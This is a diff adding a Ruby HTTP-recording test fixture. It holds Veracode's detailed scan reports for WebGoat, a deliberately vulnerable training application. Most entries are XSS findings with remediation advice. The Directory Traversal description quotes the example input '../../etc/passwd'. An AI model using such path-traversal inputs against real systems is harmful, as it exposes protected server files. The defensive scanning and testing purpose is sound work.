+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:06:37 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:06:40 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:06:39 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
